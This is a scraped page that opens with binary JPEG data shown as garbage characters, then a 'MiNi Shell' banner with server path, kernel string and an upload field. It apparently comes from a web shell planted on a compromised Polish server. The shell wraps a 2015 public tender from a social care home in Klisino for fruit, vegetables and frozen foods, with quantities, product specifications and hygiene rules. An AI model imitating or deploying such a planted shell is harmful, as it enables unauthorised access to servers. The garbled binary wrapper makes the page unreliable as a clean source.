JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/home/vmanager/www/common/web/tenders/20151127/

Linux 9dbcd5f6333d 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Upload File :
Current File : //proc/thread-self/root/home/vmanager/www/common/web/tenders/20151127/321540-N-2015.html

<p class="kh_header"><b>Lisięcice: DOSTAWA OWOCÓW, WARZYW I PODOBNYCH PRODUKTÓW DLA DOMU POMOCY SPOŁECZNEJ W KLISINIE I PODLEGŁYCH ZAKŁADÓW /RADYNIA, BOBOLUSZKI, DZBAŃCE I BLISZCZYCE/ W 2016 r.</b><br>
<b>Numer ogłoszenia: 321540 - 2015; data zamieszczenia: 27.11.2015</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b>
<!--zamówienia publicznego.</p>-->
<table class="text2">
<tr><td style="border: solid 1px; width:15px black; text-align: center;"><b>V</b></td>
<td>zamówienia publicznego</td></tr>
<tr><td style="border: solid 1px; width:15px black; text-align: center;"></td>
<td>zawarcia umowy ramowej</td></tr>
<tr><td style="border: solid 1px; width:15px black; text-align: center;"></td>
<td>ustanowienia dynamicznego systemu zakupów (DSZ)</td></tr>
</table>


<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Dom Pomocy Społecznej w Klisinie , Klisino 100, 48-118 Lisięcice, woj. opolskie, tel. 077 4857593, faks 077 4857594.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> bip.dps-klisino.pl, bip.dps.powiatglubczycki.pl</li><li><b>Adres strony internetowej, pod którym dostępne są informacje dotyczące dynamicznego systemu zakupów:</b> NIE DOTYCZY</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> DOSTAWA OWOCÓW, WARZYW I PODOBNYCH PRODUKTÓW DLA DOMU POMOCY SPOŁECZNEJ W KLISINIE I PODLEGŁYCH ZAKŁADÓW /RADYNIA, BOBOLUSZKI, DZBAŃCE I BLISZCZYCE/ W 2016 r..</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> DOSTAWA OWOCÓW, WARZYW I PODOBNYCH PRODUKTÓW DLA DOMU POMOCY SPOŁECZNEJ W KLISINIE I PODLEGŁYCH ZAKŁADÓW /RADYNIA, BOBOLUSZKI, DZBAŃCE I BLISZCZYCE/ W 2016 r.

Przedmiotem zamówienia jest dostawa owoców, warzyw i podobnych produktów dla Domu Pomocy Społecznej w Klisinie i podległych zakładów (Radynia, Boboluszki, Dzbańce i Bliszczyce) w 2016 r.


ORIENTACYJNE ZAPOTRZEBOWANIE NA 2016 ROK

Część I        OWOCE, WARZYWA I PODOBNE PRODUKTY

Dżem truskawkowy wysokosłodzony kg 	1 651
Sok owocowy syrop (rozcieńczalność 1:10)  L	781
Przecier pomidorowy koncentr. min. 30% l	1 042
Przecier ogórkowy kg	285
Przecier szczawiowy l	321
Kukurydza konserwowa  kg	380
Groszek konserwowy kg	345
Papryka konserwowa cięta l	979
Chrzan konserwowy tarty z kwaskiem cytrynowym kg	57
Ogórki konserwowe kg	1 559
Kapusta kiszona kg	2 944
Marmolada wieloowocowa - twarda kg	31
Kompot z czarnej porzeczki l	560
Kompot z aronii l 	524
Kompot śliwkowy l	134
Ogórek kiszony kg	995
Pieczarki marynowane - krojone kg 	159
Kompot wiśniowy  l	200
Fasola konserwowa - szparagowa l	1 108
Koncentrat z buraków l	23
Grzyby suszone kg	3
Śliwka suszona kg	14
Gruszka suszona kg	14
Jabłko suszone kg	20
Sałatka z pomidorów zielonych kg	131
Sałatka wielowarzywna kg	584
Morele suszone kg	3
Brzoskwinie kg	3
Kompot truskawkowy 	25


Część II             MROŻONKI

Mieszanka warzywna (wielowarzywna) mrożona kg	1 629
Kalafior mrożony kg 	432
Brokuł mrożony kg	508
Szpinak mrożony kg	1 187
Fasola szparagowa mrożona kg 	1 442
Mrożonki - kluski z mięsem kg	888
Mrożonki - pierogi z kapustą i grzybami kg	331
Mrożonki - pierogi ruskie kg	1 109
Mrożonka - wiśnie kg	165
Mrożonka - zupa pieczarkowa kg	122
Mrożonka - zupa fasolowa kg	37
Mrożonka - włoszczyzna kg	158
Mrożonka - leczo kg	6
Mrożonka - seler kg	40
Mrożonka - kluski śląskie kg	1 399
Mrożonka - zupa grzybowa kg	131
Mrożonka - zupa kalafiorowa kg	31
Mrożonka - czarna porzeczka kg 	766
Mrożonka - truskawka kg	729
Mrożonka - marchew, groszek kg	575
Mrożonka - marchew kg	338
Mrożonka - marchew, kalafior, brokuł
                                                             kg	247
Mrożonka kompotowa - mieszanka wieloowocowa                                     kg	3 086
Mrożonka - pierogi z mięsem kg	918
Mrożonki - pyzy kg	453
Mrożonki - pierogi z truskawkami kg	457
Mrożonki - pierogi z serem kg	32

OPIS PRZEDMIOTU ZAMÓWIENIA 

Pierogi ruskie 	Produkty uformowane z ciasta pierogowego, z nadzieniem z sera i ziemniaków, utrwalone przez zamrożenie w specjalistycznych urządzeniach do uzyskania temperatury -18oC lub niższej w każdym punkcie produktu, gotowe do spożycia po obróbce cieplnej.
Kształt półkolisty lub inny regularny, powierzchnia gładka, wielkość i kształt wyrobów wyrównane w opakowaniu jednostkowym (masa 1szt od 25g do 30g); dopuszcza się nietrwałe zlepieńce rozpadające się przy niewielkim nacisku oraz niewielkie oszronienie i uszkodzenia nie wpływające na obniżenie walorów użytkowych wyrobów, niedopuszczalne rozmrożenie produktu.
Kluski śląskie 	Produkty uformowane z ciasta ziemniaczanego (zawierającego w składzie 19% płatków ziemniaczanych), bez nadzienia, utrwalone przez zamrożenie w specjalistycznych urządzeniach do uzyskania temperatury -18oC lub niższej w każdym punkcie produktu, gotowe do spożycia po obróbce cieplnej.
Kształt kulisty, powierzchnia gładka; produkty wyrównane w opakowaniu jednostkowym pod względem kształtu i wielkości; dopuszcza się nietrwałe zlepieńce rozpadające się przy niewielkim nacisku oraz niewielkie oszronienie i uszkodzenia nie wpływające na obniżenie walorów użytkowych produktu; niedopuszczalne: uszkodzenia, popękanie, zabrudzenie powierzchni, rozmrożenie produktu. Zachowany kształt produktu. Smak typowy dla wyrobów z gotowanego ciasta ziemniaczanego; niedopuszczalny: stęchły, gorzki lub inny obcy.
Mrożonka kompotowa - wieloowocowa	Owoce całe utrwalone przez zamrożenie w specjalistycznych urządzeniach do temp. nie wyższej niż -18oC. Owoce bez szypułek, całe, sypkie, nieoblodzone,  bez trwałych zlepieńców; dopuszcza się oszronienie owoców. 
Mrożonka kompotowa - czarna porzeczka 	Owoce porzeczki czarnej utrwalone przez zamrożenie w specjalistycznych urządzeniach do temp. nie wyższej niż -18oC.
Owoce całe, sypkie, odszypułkowane, nie popękane, nie zdeformowane, nie podsuszone, nie oblodzone  bez trwałych zlepieńców; dopuszcza się owoce lekko odkształcone; zlepieńce nietrwałe i nieznaczne oszronienie owoców nie stanowią wady.
Barwa - ciemnogranatowa z odcieniem fioletowym. Owoce zdrowe, wolne od oznak zapleśnienia, gnicia i fermentacji oraz od uszkodzeń spowodowanych przez choroby lub szkodniki.
Fasola szparagowa - mrozona	Fasola szparagowa w postaci strąków poprzecznie ciętych na odcinki o długości od 20mm do 40mm, utrwalona przez zamrożenie w specjalistycznych urządzeniach do temp. nie wyższej niż -18oC.
Odcinki strąków z obciętymi końcami o długości od 20mm do 40mm, jednolite odmianowo, sypkie nieoblodzone, wolne od zlepieńców trwałych, nie uszkodzone mechanicznie; nieznaczne oszronienie nie stanowi wady.
Barwa - intensywna zielona lub żółta, nie zbrązowiała, praktycznie jednolita w całej partii. Odcinki strąków zdrowe, praktycznie wolne od oznak zapleśnienia, gnicia oraz od uszkodzeń spowodowanych przez choroby lub szkodniki.
Smak i zapach - charakterystyczny dla świeżej fasoli, bez zapachów i posmaków obcych
Kalafior mrożony 	Części róży kalafiorowej, powstałe przez jej rozdzielenie na mniejsze części, z głąbikami przyciętymi do 20mm, mierząc od nasady najbliższego rozgałęzienia, utrwalone przez zamrożenie w specjalistycznych urządzeniach do temp. nie wyższej niż -18oC.
Różyczki zwarte, czyste, o wielkości od 15mm do 35mm, bez przerastających zielonych listków i innych nieszkodliwych zanieczyszczeń pochodzenia roślinnego, nieoblodzone, wolne od zlepieńców trwałych, nie uszkodzone mechanicznie; nieznaczne oszronienie nie stanowi wady.
Barwa - różyczki o barwie białej do kremowożółtawej, z łodyżkami i głąbikami o barwie białej do lekko seledynowej. Zdrowotność - różyczki zdrowe, bez uszkodzeń spowodowanych przez choroby lub szkodniki. Smak i zapach - charakterystyczny dla świeżego kalafiora, bez zapachów i posmaków obcych.
Mieszanka warzywna 	Produkt otrzymany przez wymieszanie, w określonym recepturą stosunku masowym, dwóch lub więcej gatunków warzyw zamrożonych całych lub pokrojonych w kostkę lub inne formy, np. plastry, słupki lub paski, blanszowanych i nieblanszowanych, utrwalony przez zamrożenie w specjalistycznych urządzeniach do temp. nie wyższej niż -18oC.
Warzywa sypkie, nie oblodzone, wolne od zlepieńców trwałych, praktycznie bez uszkodzeń mechanicznych i oparzeliny mrozowej; nieznaczne oszronienie nie stanowi wady. Składniki warzywne zdrowe, praktycznie bez uszkodzeń spowodowanych przez szkodniki oraz zmian chorobowych. Warzywa czyste, praktycznie bez zanieczyszczeń pochodzenia roślinnego i mineralnych; nie dopuszcza się zanieczyszczeń obcych.  
Szpinak mrożony 	Produkt uzyskany przez zamrożenie w specjalistycznych urządzeniach do temp. nie wyższej niż -18oC, zblanszowanych, mechanicznie rozdrobnionych liści szpinaku. 
Szpinak rozdrobniony, uformowany w jednolitą, kształtną bryłę, bez przestrzeni powietrznych wewnątrz bloku lub porcji; pęknięcie bloku lub porcji, oszronienie produktu i opakowania nie stanowią wady; dopuszcza się niewielkie wyodrębnienie warstwy lodu. Zielona na powierzchni i przekroju bloku lub porcji; dopuszcza się punktowe ściemnienie lub rozjaśnienie barwy.
Stopień rozdrobnienia zależy od zastosowanych urządzeń; drobno mielony lub przetarty, bez wyczuwalnych włókien. Szpinak bez zmian chorobowych, śladów pleśni i fermentacji.
Przecier pomidorowy 	Produkt otrzymany ze świeżych lub mrożonych, dojrzałych, czerwonych pomidorów poddanych procesowi przetarcia i zagęszczenia, utrwalony termicznie, w opakowaniach hermetycznie zamkniętych, 30%.
Barwa - czerwona z odcieniem pomarańczowym do ciemnoczerwonej, charakterystyczna dla przetworów  pomidorowych.
Wygląd i konsystencja - przetarta, jednorodna masa; niedopuszczalne objawy zapleśnienia i zafermentowania.
Smak i zapach - właściwy dla pomidorów poddanych obróbce termicznej, słodko-kwaśny, bez posmaków i zapachów obcych.
Kapusta kiszona	Produkt otrzymany z kapusty głowiastej białej, oczyszczonej z liści zewnętrznych, bez głąbu, pokrojonej, z dodatkiem przypraw, soli spożywczej oraz z dodatkiem lub bez dodatku warzyw i owoców, poddanej fermentacji mlekowej, nie pasteryzowany
Smak i zapach - Charakterystyczny dla kapusty prawidłowo ukwaszonej, aromatyczny, słonokwaśny.
Konsystencja - skrawki jędrne, chrupkie.
Ogórki kiszone 	Produkt otrzymany z ogórków świeżych, z dodatkiem roślinnych przypraw aromatyczno-smakowych, w słonej zalewie, poddany naturalnemu procesowi fermentacji mlekowej, z ewentualnym dodatkiem kwasu sorbowego - w przypadku opakowań niehermetycznych, lub utrwalony w procesie pasteryzacji w opakowaniach hermetycznie zamkniętych.
Barwa oliwkowozielona, kształt możliwie prosty, powierzchnia wolna od uszkodzeń mechanicznych i plam chorobowych. Ogórki jędrne, chrupkie, komory nasienne prawidłowo wypełnione. 
Smak i zapach - Charakterystyczny dla ogórków kwaszonych, z wyczuwalnym smakiem i zapachem przypraw, bez obcych posmaków i zapachów.
Ogórki konserwowe 	Produkt otrzymany ze świeżych całych ogórków, przypraw aromatyczno-smakowych, zalanych zalewą octową z dodatkiem soli i cukru, utrwalony przez pasteryzację w opakowaniu hermetycznie zamkniętym.
Powierzchnia ogórków wolna od uszkodzeń mechanicznych i plam chorobowych; lekkie otarcie brodawek nie stanowi wady; dopuszcza się nie więcej niż 2 ogórki z wadami powierzchni na każde 10 sztuk w jednostce opakowania kształt możliwie prosty; dopuszcza się nie więcej niż 15% ogórków z wadami kształtu w stosunku do liczby sztuk w jednostce opakowania,  barwa ogórków na powierzchni oliwkowozielona, dopuszczalne białe przebarwienia.
Ogórki jędrne, chrupkie; na przekroju poprzecznym widoczne słabo wykształcone nasiona.
Papryka konserwowa 	Produkt otrzymany ze świeżych, dojrzałych strąków papryki półsłodkiej, słodkiej, pozbawionej części niejadalnych, w zalewie octowej z dodatkiem soli, cukru, olejów jadalnych oraz roślinnych przypraw aromatyczno-smakowych, utrwalony przez pasteryzację.
Strąki krojone na połówki, o wyrównanej wielkości, barwa właściwa dla danej odmiany opalizująca z zawiesiną i osadem z tkanki warzyw.
Konsystencja - papryka jędrna lub lekko miękka, lecz nierozpadająca się. 
Smak i zapach - Słodko-kwaśny, złagodzony dodatkiem oleju, charakterystyczny dla papryki marynowanej, bez posmaków i zapachów obcych.
Chrzan tarty 	Produkt otrzymany ze świeżych, pozbawionych skórki, tartych korzeni chrzanu z dodatkiem kwasku cytrynowego, soli i cukru.
Jednolita przetarta masa o barwie białej lub białokremowej; dopuszcza się odcień szarawy oraz rozwarstwienia.
Zapach i smak - kwaśno-słodki, charakterystyczny dla chrzanu, bez posmaków i zapachów obcych.
Sałatka wielowarzywna 	Produkt otrzymany z krojonych warzyw (kapusty białej, ogórków kwaszonych, cebuli, marchwi, papryki) w zalewie z dodatkiem kwasów spożywczych, soli, cukru, przypraw aromatyczno-smakowych, utrwalony termicznie w opakowaniach hermetycznie zamkniętych.
Produkt otrzymany z krojonych warzyw (kapusty białej, ogórków kwaszonych, cebuli, marchwi, papryki) w zalewie z dodatkiem kwasów spożywczych, soli, cukru, przypraw aromatyczno-smakowych, utrwalony termicznie w opakowaniach hermetycznie zamkniętych.
Smak i zapach - charakterystyczny dla użytych składników, bez posmaków i zapachów obcych;
Kapusta czerwona - konserwowa	Produkt otrzymany z pokrojonej kapusty czerwonej, w zalewie z dodatkiem kwasów spożywczych, soli, cukru, przypraw aromatyczno-smakowych, utrwalony termicznie w opakowaniach hermetycznie zamkniętych.
Skrawki kapusty miękkie lecz nie rozpadające się, zachowujące kształt nadany im przy rozdrobnieniu.
Smak i zapach - charakterystyczny dla użytych składników, bez posmaków i zapachów obcych;
Przecier szczawiowy 	Produkt otrzymany ze świeżych przetartych lub pokrojonych liści szczawiu z dodatkiem soli kuchennej lub solonych przetartych liści szczawiu, utrwalonych przez pasteryzację.
Jednolita przetarta masa o barwie oliwkowozielonej do ciemnozielonej; 
dopuszczalne rozwarstwienie. 
Konsystencja - gęsta masa o konsystencji od stałej do półpłynnej.
Smak i zapach - charakterystyczny dla przecieru szczawiowego, bez posmaków i zapachów obcych.
Przecier ogórkowy 	Produkt otrzymany w wyniku przetarcia ogórków kwaszonych, utrwalony w procesie pasteryzacji.
Konsystencja - Przetarta masa z zawartością drobnych fragmentów ogórków i ich nasion, dopuszcza się rozwarstwienie.
Smak i zapach - charakterystyczny dla ogórków kwaszonych, bez obcych posmaków i zapachów.
Ekstrakt ogólny oznaczony refraktometrycznie, % (m/m), nie mniej niż 4.
Kukurydza konserwowa 	Produkt otrzymany z ziaren kukurydzy cukrowej zalanych roztworem cukru i soli kuchennej, utrwalony termicznie.
Ziarna całe, nieuszkodzone o barwie żółtobiałej i żółtej. 
Konsystencja i przekrój poprzeczny - Miękka, wyrównana; dopuszcza się ziarna o twardszej konsystencji. 
Smak i zapach - słonawosłodki, charakterystyczny dla kukurydzy konserwowej, bez posmaków i zapachów obcych; dopuszczalna  wyczuwalna mączystość.

Pieczarki marynowane 	Produkt otrzymany z pieczarek całych w zalewie z dodatkiem kwasów spożywczych, soli, cukru, przypraw aromatyczno-smakowych, utrwalony termicznie w opakowaniach hermetycznie zamkniętych.
Grzyby całe, z równo przyciętymi trzonami, z przyprawami, całkowicie pokryte zalewą.
Barwa - dopuszcza się lekkie ściemnienie barwy spowodowane procesem technologicznym; barwa zalewy słomkowa. 
Konsystencja - Grzyby jędrne, nie dopuszcza się grzybów rozpadających się.
Smak i zapach - Korzenno-kwaśny, bez posmaków i zapachów obcych.
Fasola konserwowa - szparagowa	Fasola szparagowa w postaci strąków poprzecznie ciętych na odcinki o długości od 20mm do 40mm, utrwalona przez zamrożenie w specjalistycznych urządzeniach do temp. nie wyższej niż  -18oC.
Odcinki strąków z obciętymi końcami o długości od 20mm do 40mm, jednolite odmianowo, sypkie nie oblodzone, wolne od zlepieńców trwałych, nie uszkodzone mechanicznie; nieznaczne oszronienie nie stanowi wady.
Barwa - intensywna zielona lub żółta, nie zbrązowiała, praktycznie jednolita w całej partii.
Konsystencja - twarda. 
Dżem truskawkowy 	Produkt o odpowiednio zżelowanej konsystencji, otrzymany przez gotowanie owoców świeżych, mrożonych, pasteryzowanych lub pulp, z dodatkiem cukru, ewentualnie soków owocowych, substancji żelujących(pektyn),  syropu skrobiowego, kwasów spożywczych, środków przeciw pieniących, konserwujących, kwasu L-askorbinowego (jako przeciwutleniacza) i innych zgodnie z obowiązującym prawem.
Owoce rozdrobnione w zżelowanej, szklistej masie. 
Barwa - charakterystyczna dla deklarowanych w nazwie owoców, jednolita w całej masie, nie dopuszcza się zbrunatnienia.
Konsystencja - zżelowana, smarowna masa, nie dopuszcza się zbyt twardej lub luźnej konsystencji.
Smak - kwaśno-słodki, charakterystyczny dla użytych owoców, bez posmaków obcych, nie dopuszcza się posmaku karmelu.
Ekstrakt ogólny oznaczany refraktometrycznie, %(m/m), nie mniej niż 63.
Powidła śliwkowe 	Produkt o odpowiedniej konsystencji, otrzymany przez gotowanie po oddzieleniu części niejadalnych, śliwek węgierek i/lub innych gatunków śliwek świeżych, mrożonych, pasteryzowanych lub pulp z dodatkiem cukru, oraz ewentualnym dodatkiem substancji żelujących(pektyn), syropu skrobiowego, kwasów spożywczych, środków przeciw pieniących, konserwujących, kwasu L-askorbinowego (jako przeciwutleniacza) i innych zgodnie z obowiązującym prawem.
Gęsta, smarowna masa z ewentualnymi fragmentami miąższu owoców, skórki i innych użytych składników. 
Barwa - brunatna z odcieniem czerwonym.
Smak - słodko-kwaśny, bez posmaków obcych.
Zapach - charakterystyczny dla powideł, bez zapachów obcych.
Ekstrakt ogólny oznaczany refraktometrycznie, %(m/m), nie mniej niż 54.
Śliwki suszone	Produkt otrzymany ze świeżych, zdrowych, odpowiednio dojrzałych, pozbawionych pestek śliwek, poddanych odpowiednim zabiegom technologicznym i wysuszonych w stopniu zapewniającym ich trwałość.
Śliwki bez pestek i szypułek, pokryte pomarszczoną skórką.
Barwa - charakterystyczna dla danego gatunku śliwek.
Konsystencja - mięsista, śliwki o elastycznym, giętkim miąższu.
Smak i zapach - słodko-kwaśny, bez posmaków i zapachów obcych.

Grzyby suszone	Grzyby suszone - wyrób otrzymany ze świeżych grzybów oczyszczonych z  zanieczyszczeń, wysuszonych w stopniu zapewniającym ich trwałość (max 12% wody).
Grzyby powinny być jednego gatunku - zdrowe, bez objawów zepsucia.
Powinny posiadać dołączony atest grzyboanawcy zgodnie z obowiązującym prawem.
Grzyby suszone powinny być pakowane w torby wykonane z materiałów dopuszczonych do kontaktu  z żywnością o masie od 0,2 do 1 kg, zgodnie z obowiązującym prawem.
Groszek konserwowy 	Zachowany charakterystyczny kształt i forma warzywa. Barwa typowa dla danego składnika, zmieniona procesem technologicznym. 
Konsystencja - miękka ale nie rozgotowana.
Smak i zapach - charakterystyczny, bez obcych posmaków i zapachów. Bez zanieczyszczeń fizycznych, chemicznych oraz biologicznych w tym bakterii chorobotwórczych. 
Koncentrat z buraków	Barwa właściwa dla produktu - charakterystyczny ciemnobordowy kolor. Tekstura i konsystencja płynna. Smak i zapach charakterystyczny dla produktu, bez obcych zapachów i smaków. Brak zanieczyszczeń chemicznych, brak oznak zapleśnienia, sfermentowania, brak zanieczyszczeń mikrobiologicznych i bakterii chorobotwórczych. 
Marmolada	Przetwór owocowy z przetartych owoców, które są gotowane z dużą ilością cukru (powyżej 50% masy składników)

W skład Domu Pomocy Społecznej w Klisinie wchodzą następujące filie: 
- DPS Branice (83 mieszkańców),
- DPS Boboluszki (76),
- DPS Radynia (75),
- DPS Dzbańce (199),
- DPS Bliszczyce (81),
- DPS Głubczyce (29), 
- DPS Kietrz (71)
W Klisinie zamieszkuje 126 mieszkańców. 
Wszystkie znajdują się na terenie powiatu głubczyckiego.
Kuchnie i całe zaplecza magazynowe znajdują się w Klisinie, Radyni, Boboluszkach, Dzbańcach i Bliszczyce.
Kuchnia w Boboluszkach przygotowuje również posiłki dla DPS Branice, natomiast kuchnia w Radyni przygotowuje posiłki dla mieszkańców DPS Głubczyce.
Dla filii w Kietrzu posiłki przygotowuje kuchnia w Dzbańcach.
Do tych miejsc należy dostarczać zamawiane towary własnym transportem na wyłączny koszt i ryzyko dostawcy.
Odległości od miejscowości Głubczyce:
Głubczyce - Klisino  		15 km
Głubczyce - Radynia 		15 km
Głubczyce - Boboluszki 	25 km
Głubczyce - Dzbańce 		18 km	
Głubczyce - Bliszczyce		26 km

Zamawianie towaru odbywa się dwa razy w tygodniu - telefonicznie.
Godziny dostaw Wykonawca uzgodni indywidualnie z danym odbiorcą. 



Przedmiot zamówienia, a także sposób jego przewozu i przechowywania powinien być zgodny z:
- ustawą z dnia 25 VIII 2006 r. o bezpieczeństwie żywności i żywienia (Dz. U. z 2006 r. Nr 171, poz. 1225 z poźn. zm.) oraz z obowiązującymi w Polsce i Unii Europejskiej aktami prawnymi;


Dostawca artykułów spożywczych winien spełniać i respektować ROZPORZĄDZENIE (WE) NR 852/2004 PARLAMENTU EUROPEJSKIEGO I RADY z dnia 29 kwietnia 2004 r. w sprawie higieny środków spożywczych (Dz. U. L 139 z 30.4.2004, str. 1)
Załącznik II do w/w rozporządzenia:
ROZDZIAŁ IV 
TRANSPORT 
1.	Transportery i/lub kontenery używane do przewozu środków spożywczych muszą być utrzymywane w czystości i w dobrym stanie i kondycji technicznej, aby chronić środki spożywcze przed zanieczyszczeniem i muszą, w miarę potrzeby, być tak zaprojektowane i skonstruowane, by umożliwić właściwe czyszczenie i/lub dezynfekcję. 
2. Pojemniki w pojazdach i/lub kontenerach nie mogą być używane do transportowania niczego poza środkami spożywczymi, jeśli mogłoby to prowadzić do zanieczyszczenia. 
3. W przypadku gdy transportery i/lub kontenery są wykorzystywane do przewożenia czegokolwiek poza środkami spożywczymi lub do przewożenia różnych środków spożywczych jednocześnie, musi być zapewnione skuteczne rozdzielenie produktów. 
4.	Duże ilości środków spożywczych w postaci płynu, granulatu lub proszku muszą być transportowane w pojemnikach i/lub kontenerach/zbiornikach przeznaczonych do transportu środków spożywczych. Takie kontenery muszą być oznaczone w wyraźnie widoczny i nieścieralny sposób, w jednym lub w kilku językach Wspólnoty, aby wskazać, że są one używane do transportu żywności, lub muszą być oznaczone (tylko dla środków spożywczych).  
5. W przypadku gdy transportery i/lub kontenery zostały użyte do przewożenia czegokolwiek innego poza środkami spożywczymi lub do przewożenia różnych środków spożywczych, konieczne jest skuteczne czyszczenie między przewożeniem ładunków, aby uniknąć ryzyka zanieczyszczenia. 
6.	Środki spożywcze w transporterach i/lub kontenerach muszą być tak rozmieszczone i zabezpieczone, aby zminimalizować ryzyko zanieczyszczenia.  
7.	W miarę potrzeby, transportery i/lub kontenery wykorzystywane do przewożenia środków spożywczych muszą być przystosowane do utrzymania ich właściwej temperatury i, tam gdzie to konieczne, zaprojektowane tak, aby umożliwić kontrolowanie tych temperatur.

